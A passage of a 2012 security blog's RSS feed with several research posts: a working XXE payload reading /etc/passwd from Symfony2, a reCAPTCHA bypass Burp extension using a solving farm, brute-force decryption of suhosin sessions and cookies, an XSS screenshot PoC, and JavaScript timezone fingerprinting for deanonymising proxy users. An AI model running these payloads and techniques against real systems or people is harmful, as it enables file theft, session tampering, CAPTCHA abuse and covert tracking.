<p style="text-align: justify;">On the server side there is also a script to decode the Canvas which is posted as a base64 encoded string and write it to a database which also has Referrer, Remote Address and User Agent fields. This allows me to keep track of users that execute the code.</p>
<p style="text-align: justify;"><strong>Cross Domain Policy and other issues</strong><br />
The only real caveat is that the script will run with the same-origin policy preventing it from fetching resources from other domains (e.g. images hosted on a CDN). In an attempt to overcome this the script uses a proxy to fetch external resources that are outside of its domain (this obviously wont work for any resources that are not publicly accessible).
</p>
<p style="text-align: justify;">Its also worth nothing that taking a screenshot using HTML5 doesn&#8217;t really provide you with any more information than harvesting a copy of the DOM using XSS.</p>
<p style="text-align: center;">
<a href="/wp-content/uploads/2012/04/poc.zip">Download HTML5 Screenshot XSS POC code</a><br />
(Tested in the latest versions of Chrome and Firefox)
</p>
<p style="text-align: justify;"><i>Article updated 6th April 2012 to include protocol relative URLs and a custom Acunetix Script</i></p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Exploit: Symfony2 &#8211; local file disclosure vulnerability</title>
		<link>http://www.idontplaydarts.com/2012/02/exploit-symfony2-local-file-disclosure-vulnerability/</link>
		<comments>http://www.idontplaydarts.com/2012/02/exploit-symfony2-local-file-disclosure-vulnerability/#comments</comments>
		<pubDate>Sat, 25 Feb 2012 02:29:28 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[XML]]></category>
		<category><![CDATA[File Inclusion]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Symfony2]]></category>
		<category><![CDATA[XE]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=764</guid>
		<description><![CDATA[I recently discovered a vulnerability affecting the Symfony2 Framework versions 2.0.0-2.0.10. In short, by by parsing user supplied XML in any way (e.g. SOAP API, RSS feed, unserializing an object) it is possible to disclose the contents of arbitrary files from the &#8230; <a href="http://www.idontplaydarts.com/2012/02/exploit-symfony2-local-file-disclosure-vulnerability/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">I recently discovered a vulnerability affecting the <a title="Symfony2 Website" href="http://symfony.com/" rel="nofollow">Symfony2 Framework</a> versions 2.0.0-2.0.10. In short, by  by parsing user supplied XML in any way (e.g. SOAP API, RSS feed, unserializing an object) it is possible to disclose the contents of arbitrary files from the local file system. Symfony announced a new security release version <a href="http://www.symfony.com/download" title="Download Symfony" target="_blank" rel="nofollow">2.0.11</a> within 24hrs of being notified of the vulnerability. You can read more on the <a href="http://symfony.com/blog/security-release-symfony-2-0-11-released" rel="nofollow">Symfony Blog</a>.</p>
<p style="text-align: justify;">The vulnerability occurs because Symfony2 fails to disable external entities before parsing XML. As explained in my previous post this is <a title="Scanning the internal network using SimpleXML" href="/2011/02/scanning-the-internal-network-using-simplexml/">particularly brutal</a> in PHP where PHP filters can be used to include binary data or scan behind perimeter firewalls.</p>
<p style="text-align: justify;">In the example below XML is deserialized and the contents of /etc/passwd are returned as a base64 encoded string.</p>
<div style="font-size:14px">
<pre class="brush: php; title: ; notranslate">

$XMLString = &quot;
 &lt;?xml version=&quot;1.0&quot;?&gt;
 &lt;!DOCTYPE scan [&lt;!ENTITY test SYSTEM &quot;php://filter/read=convert.base64-encode/resource=/etc/passwd&quot;&gt;]&gt; 
 &lt;scan&gt;&amp;test; &lt;/scan&gt;
&quot;

$serializer = new Serializer(array(), array(
  'xml' =&gt; new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer-&gt;decode($XMLString, 'xml');

var_dump($x);
</pre>
</div>
<p style="text-align: justify;">
If the deserialized XML is not displayed to the end user you can still perform a Denial of Service attack through XML entity expansion.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2012/02/exploit-symfony2-local-file-disclosure-vulnerability/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Extending Burp Suite to solve reCAPTCHA</title>
		<link>http://www.idontplaydarts.com/2012/01/extending-burp-suite-to-solve-recaptcha/</link>
		<comments>http://www.idontplaydarts.com/2012/01/extending-burp-suite-to-solve-recaptcha/#comments</comments>
		<pubDate>Thu, 19 Jan 2012 11:44:29 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Burp]]></category>
		<category><![CDATA[Burp Extender]]></category>
		<category><![CDATA[CAPTCHA]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=717</guid>
		<description><![CDATA[By extending the Burp Suite and integrating it with a CAPTCHA solving farm you can enable the automated bypassing of CAPTCHA within all burp tools; seamlessly replacing all CAPTCHA with their correct solutions. This post will show how I&#8217;ve extended &#8230; <a href="http://www.idontplaydarts.com/2012/01/extending-burp-suite-to-solve-recaptcha/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">By extending the <a href="http://portswigger.net/burp/help/" rel="nofollow">Burp Suite</a> and integrating it with a <a href="http://www.blackhat-seo.com/2009/captcha-farms/" rel="nofollow">CAPTCHA solving farm</a> you can enable the automated bypassing of CAPTCHA within all burp tools; seamlessly replacing all CAPTCHA with their correct solutions. This post will show how I&#8217;ve extended Burp and integrated it with the <a href="http://www.deathbycaptcha.com" rel="nofollow">DeathByCaptcha API</a> to solve reCAPTCHA.</p>
<p style="text-align: justify;">Several services exist for decoding CAPTCHA, although DeathByCaptcha seems pretty good and from the initial tests I&#8217;m seeing a 99.7% accuracy rate (with reCAPTCHA at least) &#8211; The premise for most of these services is simple, upload your CAPTCHA to the API and poll for a response until it is solved by someone at the other end. DeathByCaptcha currently charges $13.90 per 10,000 solutions. The API is a simple REST interface and it normally takes only a few seconds to decode the image.</p>
<p style="text-align: justify;"><strong>The concept:</strong><br />
<a href="http://portswigger.net/burp/extender/" rel="nofollow">Burp Extender</a> allows you to hook and modify all HTTP responses before they are used by any of the tools in the Burp Suite. The idea behind the Burp Extender extension I&#8217;ve written is to intercept all of the HTTP responses, examine them for the reCAPTCHA script and replace the input fields with the solution from DeathByCaptcha. This will effectively turn reCAPTCHA into a nonce or one-time-token which <a href="http://blog.portswigger.net/2011/03/burp-v14-preview-macros.html">Burp 1.4 macros</a> can easily handle in a similar way to CSRF tokens.</p>
<p><span id="more-717"></span></p>
<p style="text-align: justify;"><strong>How it works:</strong><br />
I&#8217;ve chosen <a href="http://www.recaptcha.org" rel="nofollow">reCAPTCHA</a> as the target as its widely used – it also has the advantage that the solution can be directly validated against Google servers so you can check that the solution is correct before you post it to the target domain. The general structure of my Burp Extension looks like this:</p>
<p><a href="http://www.idontplaydarts.com/wp-content/uploads/2012/01/HSRA.png"><img class="size-full wp-image-718 alignnone" title="Burp Extender Flow Chart" src="http://www.idontplaydarts.com/wp-content/uploads/2012/01/HSRA.png" alt="" width="742" height="562" /></a></p>
<p>To summarise the above the main steps are:</p>
<ul>
<li>Extract the reCAPTCHA site key from the Intercepted Server Response – these match the expression “6[A-Za-z\-_]{39}”</li>
<li>Use the site key to request the Iframe that contains a link to a CAPTCHA image.</li>
<li>Extract the reCAPTCHA JPEG location and reCAPTCHA challenge field from the Iframe HTML source.</li>
<li>Post the JPEG to DeathByCaptcha for solving.</li>
<li>Post the solution to the Iframe location.</li>
<li>Obtain the challenge response from the reply from the previous post and modify the initial HTTP Response to contain the challenge/response codes.</li>
</ul>
<p><strong>Compiling:<br />
</strong>To compile ensure you have the Java SDK installed and issue the following commands:</p>
<p style="padding-left: 30px;"><em>javac.exe BurpExtender.java</em><br />
<em>jar.exe -cf BurpExtender.jar BurpExtender.class</em></p>
<p>This should generate a burpExtender.jar file in the working directory.</p>
<p style="text-align: justify;"><strong>Running:<br />
</strong>The extension takes two command line arguments. The username and password for the DeathByCaptcha API (so if you want to run the extension you&#8217;ll need to sign up to the service). To run the extension make sure the extension is located in the same directory as the Burp Suite and run:</p>
<p style="padding-left: 30px;"><em>java -Xmx512m -classpath &#8220;*&#8221; burp.StartBurp &#8220;myusername&#8221; &#8220;mypassword&#8221;</em></p>
<p style="text-align: justify;">When you now browse through the Burp Proxy to sites such as <a href="http://www.google.com/recaptcha/learnmore" rel="nofollow">http://www.google.com/recaptcha/learnmore</a> you should see the reCAPTCHA replaced with a challenge and response input box. Generally the API can take anywhere from 5 to 20 seconds to translate the CAPTCHA, while this is happening the page will not load. Once its decoded the image you should see something similar to below:</p>
<div id="attachment_740" class="wp-caption aligncenter" style="width: 631px"><a href="http://www.idontplaydarts.com/wp-content/uploads/2012/01/beforeafter.png"><img class="size-full wp-image-740" title="Before and After" src="http://www.idontplaydarts.com/wp-content/uploads/2012/01/beforeafter.png" alt="" width="621" height="185" /></a><p class="wp-caption-text">(Before / After - When browsing through the Burp Proxy)</p></div>
<p style="text-align: justify;">The code isn&#8217;t pretty &#8211; its been hacked together &#8211; its more proof of concept. There isn&#8217;t a great deal of error handling and not being a Java Developer I may have used entirely the wrong methods in certain places.</p>
<p style="text-align: center;"><strong><a href="http://www.idontplaydarts.com/wp-content/uploads/2012/01/BurpExtender-reCAPTCHA.zip">Download the reCAPTCHA Burp Extension here</a></strong></p>
<p style="text-align: center;">
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2012/01/extending-burp-suite-to-solve-recaptcha/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Decrypting suhosin sessions and cookies.</title>
		<link>http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/</link>
		<comments>http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 09:41:33 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Design Flaw]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Suhosin]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=650</guid>
		<description><![CDATA[The suhosin module provides transparent cookie and session encryption out of the box to PHP applications. Once enabled any session values stored on disk are encrypted with rijndael and a slight variation on base64 encoding, the same applies to any &#8230; <a href="http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">The <a href="http://www.hardened-php.net/suhosin/" rel="nofollow">suhosin module</a> provides transparent cookie and session encryption out of the box to PHP applications. Once enabled any session values stored on disk are encrypted with rijndael and a slight variation on base64 encoding, the same applies to any cookies that are stored on the client. Many people rely solely on this encryption to protect them against parameter tampering attacks.</p>
<p style="text-align: justify;">This post will explain why suhosin encryption is not necessarily as secure as you might think and how its default configuration should not be relied upon to protect the content of sessions and cookies.</p>
<p><strong>Basic suhosin encryption settings</strong></p>
<p style="text-align: justify;">First you need to understand the PHP suhosin session and cookie settings and how these affect access to the session and cookie data, in particular how they affect the generation of the encryption key used to protect the data. There are six settings for both suhosin.session and suhosin.cookie these are their defaults:</p>
<style type="text/css">
#content tr td {
font-size:12px;
padding:3px 24px;
}
</style>
<table width="642" cellspacing="0" cellpadding="4">
<colgroup>
<col width="142" />
<col width="220" />
<col width="254" /> </colgroup>
<tbody>
<tr valign="TOP">
<th width="142">Parameter</th>
<th width="220">Sessions</th>
<th width="254">Cookies</th>
</tr>
<tr valign="TOP">
<td width="142">encrypt</td>
<td width="220">On</td>
<td width="254">Off</td>
</tr>
<tr valign="TOP">
<td width="142">cryptkey</td>
<td width="220">&lt;blank&gt;</td>
<td width="254">&lt;blank&gt;</td>
</tr>
<tr valign="TOP">
<td width="142">cryptraddr</td>
<td width="220">0</td>
<td width="254">0</td>
</tr>
<tr valign="TOP">
<td width="142">cryptua</td>
<td width="220">Off</td>
<td width="254">On</td>
</tr>
<tr valign="TOP">
<td width="142">cryptdocroot</td>
<td width="220">On</td>
<td width="254">On</td>
</tr>
<tr valign="TOP">
<td width="142">checkraddr</td>
<td width="220">0</td>
<td width="254">0</td>
</tr>
</tbody>
</table>
<table width="642" cellspacing="0" cellpadding="4">
<colgroup>
<col width="142" />
<col width="482" /> </colgroup>
<tbody>
<tr valign="TOP">
<th width="142">Parameter</th>
<th width="482">Description</th>
</tr>
<tr valign="TOP">
<td width="142">Encrypt</td>
<td width="482">Turns on the transparent encryption</td>
</tr>
<tr valign="TOP">
<td width="142">cryptkey</td>
<td width="482">Custom string added to the encryption key – blank by default.</td>
</tr>
<tr valign="TOP">
<td width="142">cryptraddr</td>
<td width="482">The number of octets of the users IP to add to the encryption key</td>
</tr>
<tr valign="TOP">
<td width="142">cryptua</td>
<td width="482">Adds the user agent string to the encryption key</td>
</tr>
<tr valign="TOP">
<td width="142">cryptdocroot</td>
<td width="482">Adds the document root as defined by Apache to the key</td>
</tr>
<tr valign="TOP">
<td width="142">checkraddr</td>
<td width="482">Has no affect on the encryption key but prevents users on other IP addresses accessing the session data once decrypted.</td>
</tr>
</tbody>
</table>
<p><strong>How Suhosin generates the encryption key</strong></p>
<p style="text-align: justify;">As you can see, the more Suhosin settings that are enabled the more complex the encryption key will become – sessions by default are encrypted using solely the document root where as cookies use a concatenation of both the document root and user agent string. The key will always be built in the same way and take the order:</p>
<p><span id="more-650"></span></p>
<p style="text-align: center; font-family:courier new;"><span style="color:blue;">cryptkey</span> + <span style="color:red;">user agent</span> + <span style="color:green;">document root</span> + <span style="color:black;">IP octets</span></p>
<p style="text-align: center; font-family:courier new;"><span style="color:blue;">12345</span><span style="color:red;">Mozilla/5.0 (X11; Linux x86_64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2</span><span style="color:green;">/var/www</span><span style="color:black;">127.0.0.1</span></p>
<p style="text-align: justify;">The variables are concatenated without a separator – if for some reason the cryptkey string is NULL then Suhosin will default to a value of “D3F4UL7”. Once built the string is hashed using SHA256 and the result used to generate a 256bit rijndael encryption key. The code used to generate the SHA256 key is shown below:</p>
<div style="font-size:12px;">
<pre class="brush: cpp; title: ; notranslate">
char *suhosin_generate_key(char *key, zend_bool ua, zend_bool dr, long raddr, char *cryptkey TSRMLS_DC)
{
    char *_ua = NULL;
    char *_dr = NULL;
    char *_ra = NULL;
    suhosin_SHA256_CTX ctx;
    
    if (ua) {
        _ua = sapi_getenv(&quot;HTTP_USER_AGENT&quot;, sizeof(&quot;HTTP_USER_AGENT&quot;)-1 TSRMLS_CC);
    }
    
    if (dr) {
        _dr = sapi_getenv(&quot;DOCUMENT_ROOT&quot;, sizeof(&quot;DOCUMENT_ROOT&quot;)-1 TSRMLS_CC);
    }
    
    if (raddr &gt; 0) {
        _ra = sapi_getenv(&quot;REMOTE_ADDR&quot;, sizeof(&quot;REMOTE_ADDR&quot;)-1 TSRMLS_CC);
    }
    
    suhosin_SHA256Init(&amp;ctx);

    if (key == NULL) {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)&quot;D3F4UL7&quot;, sizeof(&quot;D3F4UL7&quot;));
    } else {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)key, strlen(key));
    }
    if (_ua) {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ua, strlen(_ua));
    }
    if (_dr) {
        suhosin_SHA256Update(&amp;ctx, (unsigned char*)_dr, strlen(_dr));
    }

    if (_ra) {
        if (raddr &gt;= 4) {
            suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ra, strlen(_ra));
        } else {
            long dots = 0;
            char *tmp = _ra;
            
            while (*tmp) {
                if (*tmp == '.') {
                    dots++;
                    if (dots == raddr) {
                        break;
                    }
                }
                tmp++;
            }
            suhosin_SHA256Update(&amp;ctx, (unsigned char*)_ra, tmp-_ra);
        }
    }

    suhosin_SHA256Final((unsigned char *)cryptkey, &amp;ctx);
    cryptkey[32] = 0; /* uhmm... not really a string */

    return cryptkey;
}
</pre>
</div>
<p style="text-align: justify;">If you refer back to the default settings the key used to encrypt sessions is derived from solely the web root e.g. /var/www (this is not the same as /var/www/). Cookies are encrypted with both the web root and the clients user agent string (which is known). <a href="https://www.owasp.org/index.php/Full_Path_Disclosure" rel="nofollow">A simple PHP error</a> could give the location of the web root to an attacker which he could use to decrypt and tamper with client side cookies or the data stored within server sessions (assuming he has access to the sessions on disk).</p>
<p><strong>Calculating the encryption key value</strong></p>
<p style="text-align: justify;">If we assume the default Suhosin settings are in place then defeating the cookie encryption is a simple case of either finding an error message with the web root in or staging a dictionary attack on the name of the web root. You should already know what your user agent string is so there is only one unknown variable to guess. Using information harvested from Google searches for &#8220;DocumentRoot not found&#8221; I&#8217;ve come up with a script that takes a domain name an generates a list of plausible web roots. (<a href="/wp-content/uploads/2011/11/DocumentRoot.zip">Download the DocumentRoot generator</a>.) These can be fed into a script to brute-force the encrypted data.</p>
<div style="">
<pre style="background-color:#000000; color:#c5c5c5; font-family:courier new; font-size:10pt; padding:5px; line-height:10pt; overflow:hidden;">
#bash> ./generate.php
Usage ./generate.php domainname.com > directorylist.txt

#bash> ./generate.php idontplaydarts.com > dirlist.txt
#bash> wc -l dirlist.txt
29160 dirlist.txt
#bash> cat dirlist.txt
/data/web
/data/web/
/data/web/idontplaydarts.com/public_html
/data/web/idontplaydarts.com/public_html/
......
</pre>
</div>
<p style="text-align: justify;">But what if the session data is also encrypted with the user agent string and you want to decrypt someone else&#8217;s session? Now you&#8217;ll need to brute-force the user agent string as well, there are probably only a few thousand variants of the modern browsers and there are plenty of lists to choose from. If you&#8217;ve already compromised the system you could construct a list of agents from the servers Apache logs and use these in the attack.</p>
<p style="text-align: justify;">If the system administrator or developer has opted to lock the session to the clients IP address using cryptraddr then you might have to test the entire 32 bit range of IP addresses. Luckily however thanks to some service providers frequently changing your IP address during the course of your Internet session it is unlikely that any more than the first two octets of the IP address will be used in the rijndael key. You can further reduce this set of IP addresses if you know what country the client is connecting from, <a href="https://www.maxmind.com/app/geolitecountry" rel="nofollow">MaxMind has a good GeoLocation database</a> that can be used to narrow down you attack. Again, if you can view the Apache logs and extract the IP addresses of the hosts that have accessed the server it will significantly reduce your search space (if your attacking a cookie rather than a session you should already know your IP address).</p>
<p style="text-align: justify;">You might have noticed on line 17 that Suhosin looks to the REMOTE_ADDR variable for the clients IP address so there is a potential for a further mis-configuration if Apache resides behind a load balancer or proxy such as Nginx or Varnish which is failing to update the REMOTE_ADDR header. In these situations the REMOTE_ADDR might be that of the upstream proxy which would make the attack much quicker as every client will appear to come from the same address.</p>
<p align="JUSTIFY"><strong>Decrypting Suhosin sessions and cookies using C</strong></p>
<p align="JUSTIFY">I saw a good entry on ha.xxor.se that <a href="http://ha.xxor.se/2011/09/local-session-poisoning-in-php-part-3.html" rel="nofollow">describes how to hijack a session</a> on shared hosting however this involves manipulating internal variables in PHP which doesn&#8217;t always work and tends to be fairly slow. I briefly tried decrypting the session variables using purely PHP and the <a href="http://php.net/manual/en/book.mcrypt.php" rel="nofollow">mcrypt extension</a> although I had little success.</p>
<p align="JUSTIFY">In order to decrypt Suhosin sessions and cookie strings you really need an external program that is independent of PHP, one that can quickly brute force sessions or cookies saved in a file. I couldn&#8217;t find one on the net so I wrote one in C – its mainly hacked together from bits of the suhosin and PHP source code. There is plenty of scope for improvement and optimisations.</p>
<p align="JUSTIFY">
The script comes with 3 examples located in the demos/ folder &#8211; I&#8217;ve included a compiled version that should work on x86 Linux as well as the source and make file.
</p>
<p style="text-align:center; font-weight:bold;"><a href='/wp-content/uploads/2011/11/suhosin.zip'>Download the Suhosin decrypter.</a></p>
<div style="">
<pre style="background-color:#000000; color:#c5c5c5; font-family:courier new; font-size:10pt; padding:5px; line-height:10pt; overflow:hidden;">
Usage: cmd [SESSION FILE] [OPTIONS]

Cracks Suhosin rijndael encryption by launching dictionary attacks on	
the key. The session or cookie string to be cracked must be placed in 	
SESSION FILE.		

Mandatory Arguments:
  [SESSION FILE]        File containing the session data

Arguments:
  -UA                   list of user agents in txt file
  -DR                   list of directory roots
  -IP                   list of ip addresses
  -CK                   list of crypt keys
  -ip                   singular ip adddress
  -dr                   singular directory root
  -ua                   singular user agent
  -ck                   crypt key string

NB. When a list of anything is specified the decrypter will also add    
    a blank string to the list.						

</pre>
</div>
<p style="text-align:center; font-weight:bold;"><a href='/wp-content/uploads/2011/11/suhosin.zip'>Download the Suhosin decrypter.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/11/decrypting-suhosin-sessions-and-cookies/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>JavaScript and Daylight Savings for tracking users.</title>
		<link>http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/</link>
		<comments>http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/#comments</comments>
		<pubDate>Sun, 02 Oct 2011 11:35:37 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Browser Fingerprinting]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=553</guid>
		<description><![CDATA[Each country has their own timezone &#8211; although timezones are not generally unique variations in the offset can enable a website using JavaScript to pinpoint your location and operating system to an alarming degree of accuracy. Most countries time differs &#8230; <a href="http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Each country has their own timezone &#8211; although timezones are not generally unique variations in the offset can enable a website using JavaScript to pinpoint your location and operating system to an alarming degree of accuracy. Most countries time differs from UTC by increments of 1 hour and this is generally the case for every 15 degress you travel east or west of the meridian &#8211; of course there are some exceptions, countries such as Iran have offsets of 3hrs 30mins, Nepal (+5:45) and Chatham Island (+12:45). If your unfortunate enough to live in Nepal, Iran, or Chatham Islands its very easy for JavaScript to identify your location just using <a href="http://www.w3schools.com/jsref/jsref_getTimezoneOffset.asp" rel="nofollow">Date.getTimeZoneOffset()</a>. </p>
<p style="text-align: justify;">Similarly the following areas have distinct timezones:</p>
<ul style="float:left; width:300px;">
<li>Marquesas Islands -09:30</li>
<li>Venezuela -04:30</li>
<li>Labrador and Newfoundland -03:30</li>
<li>Brazilian Ocean Islands -02:00</li>
<li>Iran +03:30</li>
<li>Afghanistan +04:30</li>
</ul>
<ul style="float:left;">
<li>Nepal +05:45</li>
<li>Myanmar +06:30</li>
<li>Caiguna-Eucia  +08:45</li>
<li>Lord Howe Island +10:30</li>
<li>Norfolk Island +11:30</li>
<li>Kiribati Line Islands +14:00</li>
</ul>
<p style="text-align: justify; clear:both;">This only affects a few million people in a few specific locations and it makes it hard to establish what country someone is in who shares for example, the -11:00 timezone. However, many countries, states or territories observe or at some stage have experimented with DST (Daylight Savings Time). Mitchigan for example experimented briefly with DST in 1975, Western Australia in 1972 and Fiji in 2009. Places tend to choose different start and end dates and up until 2008 Brazil used to change the time that they entered DST each year. <strong>These differences can be used to distinguish a users country from other countries in the same offset.</strong></p>
<p style="text-align: justify;">Operating systems require a list of these changes in order to know when to change the time. While the name of the timezone and the dates that the clock changes is not directly accessible via the <a href="http://www.w3schools.com/jsref/jsref_obj_date.asp" rel="nofollow">JavaScript Date object</a> the current timezone can be inferred by calculating the dates that the TimeZoneOffset changes. </p>
<p style="text-align: justify;">Using the Date object its possible to loop through all the days from 1970 to 2010 and observe when the TimeZoneOffset changes (1970 is the earliest that the time zone database goes back). By recording the dates when the offset changes we can create a fingerprint that may help to locate a users position:</p>
<pre class="brush: jscript; title: ; notranslate">
var d        = new Date();
var i        = d.getTime();
var oldTime  = d.getTimezoneOffset();
var fp       = '';

d.setTime(0);

for (var i = 0; i &lt; 1317731928000; i += 86400000) {
     d.setTime(i);
     newTime = d.getTimezoneOffset();
     if (newTime != oldTime) {
        timeZone += (newTime + '@' + Math.round(i / 1000) + ';');
        oldTime = newTime;      
     }
}
</pre>
<p style="text-align: justify;">When run on Linux in the Firefox browser the script will create strings such as the following which are unique and identify users in New South Wales, Australia:</p>
<div style="font-size:9px;">
<pre class="brush: plain; title: ; notranslate">
-600@39618001; -660@55346401; -600@71067601; -660@86796001; -600@102517201; -660@118850401; -600@134571601; -660@150300001; -600@166021201; -660@181749601; -600@197470801; -660@213199201; -600@228920401; -660@244648801; -600@260370001; -660@276098401; -600@291819601; -660@308152801; -600@323874001; -660@339602401; -600@355323601; -660@371052001; -600@386773201; -660@402501601; -600@418222801; -660@433951201; -600@449672401; -660@466005601; -600@481726801; -660@497455201; -600@513176401; -660@528904801; -600@544626001; -660@560354401; -600@576075601; -660@591804001; -600@607525201; -660@623253601; -600@638974801; -660@655308001; -600@671029201; -660@686757601; -600@702478801; -660@718207201; -600@733928401; -660@749656801; -600@765378001; -660@781106401; -600@796827601; -660@812556001; -600@828882001; -660@844610401; -600@860331601; -660@876060001; -600@891781201; -660@907509601; -600@923230801; -660@938959201; -600@954680401; -660@970408801; -600@986130001; -660@1002463201; -600@1018184401; -660@1033912801; -600@1049634001; -660@1065362401; -600@1081083601; -660@1096812001; -600@1112533201; -660@1128261601; -600@1143982801; -660@1159711201; -600@1175432401; -660@1191765601; -600@1207486801; -660@1223215201; -600@1238936401; -660@1254664801; -600@1270386001; -660@1286114401;
</pre>
</div>
<p style="text-align: justify;">A good example is that of Istanbul (Turkey), Minsk (Belarus) and Jerusalem (Israel) &#8211; All share the +0200 Timezone but all have observed DST at differing times since 1970 creating three different signatures:</p>
<div style="font-size:9px;">
<pre class="brush: plain; title: ; notranslate">
Istanbul:
-180@39132001; -120@57790801; -180@70581601; -120@89240401; -180@102031201; -120@120690001; -180@133480801; -120@152139601; -180@165535201; -120@183589201; -180@196984801; -120@215643601; -180@228434401; -120@247093201; -180@259884001; -120@278542801; -180@291333601; -120@309992401; -180@323388001; -120@341442001; -180@354837601; -120@372891601; -180@386287201; -120@404946001; -180@417736801; -120@436395601; -180@449186401; -120@467845201; -180@480636001; -120@499294801; -180@512690401; -120@530744401; -180@544140001; -120@562194001; -180@575589601; -120@594248401; -180@607039201; -120@625698001; -180@638488801; -120@657147601; -180@669938401; -120@688597201; -180@701992801; -120@720046801; -180@733442401; -120@752101201; -180@764892001; -120@783550801; -180@796341601; -120@815000401; -180@827791201; -120@846450001; -180@859845601; -120@877899601; -180@891295201; -120@909349201; -180@922744801; -120@941403601; -180@954194401; -120@972853201; -180@985644001; -120@1004302801; -180@1017093601; -120@1035752401; -180@1049148001; -120@1067202001; -180@1080597601; -120@1099256401; -180@1112047201; -120@1130706001; -180@1143496801; -120@1162155601; -180@1174946401; -120@1193605201; -180@1207000801; -120@1225054801; -180@1238450401; -120@1256504401; -180@1269900001; -120@1288558801;

Jerusalem:
-180@39477601; -120@55371601; -180@71532001; -120@86821201; -180@102981601; -120@118875601; -180@134431201; -120@150325201; -180@165880801; -120@181774801; -180@197330401; -120@213224401; -180@228780001; -120@244674001; -180@260834401; -120@276123601; -180@292284001; -120@308178001; -180@323733601; -120@339627601; -180@355183201; -120@371077201; -180@386632801; -120@402526801; -180@418082401; -120@433976401; -180@450136801; -120@466030801; -180@481586401; -120@497480401; -180@513036001; -120@528930001; -180@544485601; -120@560379601; -180@575935201; -120@591829201; -180@607989601; -120@623278801; -180@639439201; -120@655333201; -180@670888801; -120@686782801; -180@702338401; -120@718232401; -180@733788001; -120@749682001; -180@765237601; -120@781131601; -180@797292001; -120@812581201; -180@828741601; -120@844635601; -180@860191201; -120@876085201; -180@891640801; -120@907534801; -180@923090401; -120@938984401; -180@955144801; -120@970434001; -180@986594401; -120@1002488401; -180@1018044001; -120@1033938001; -180@1049493601; -120@1065387601; -180@1080943201; -120@1096837201; -180@1112392801; -120@1128286801; -180@1144447201; -120@1159736401; -180@1175896801; -120@1191790801; -180@1207346401; -120@1223240401; -180@1238796001; -120@1254690001; -180@1270245601; -120@1286139601;

Minsk:
-180@39045601; -120@57790801; -180@70495201; -120@89240401; -180@101944801; -120@120690001; -180@133999201; -120@152139601; -180@165448801; -120@183589201; -180@196898401; -120@215643601; -180@228348001; -120@247093201; -180@259797601; -120@278542801; -180@291247201; -120@309992401; -180@323301601; -120@341442001; -180@354751201; -120@372891601; -180@386200801; -120@404946001; -180@417650401; -120@436395601; -180@449100001; -120@467845201; -180@481154401; -120@499294801; -180@512604001; -120@530744401; -180@544053601; -120@562194001; -180@575503201; -120@594248401; -180@606952801; -120@625698001; -180@638402401; -120@657147601; -180@670456801; -120@688597201; -180@701906401; -120@720046801; -180@733356001; -120@752101201; -180@764805601; -120@783550801; -180@796255201; -120@815000401; -180@828309601; -120@846450001; -180@859759201; -120@877899601; -180@891208801; -120@909349201; -180@922658401; -120@941403601; -180@954108001; -120@972853201; -180@985557601; -120@1004302801; -180@1017612001; -120@1035752401; -180@1049061601; -120@1067202001; -180@1080511201; -120@1099256401; -180@1111960801; -120@1130706001; -180@1143410401; -120@1162155601; -180@1174860001; -120@1193605201; -180@1206914401; -120@1225054801; -180@1238364001; -120@1256504401; -180@1269813601; -120@1288558801;
</pre>
</div>
<p style="text-align: justify;">This technique is handy for helping to establish the identify of users who are attempting to mask their locations by using proxy servers alone. Different operating systems may also yield slightly different results enabling you to use this technique to fingerprint both their OS and location.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/10/javascript-and-daylight-savings-for-tracking-users/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Google TOTP Two-factor Authentication for PHP</title>
		<link>http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/</link>
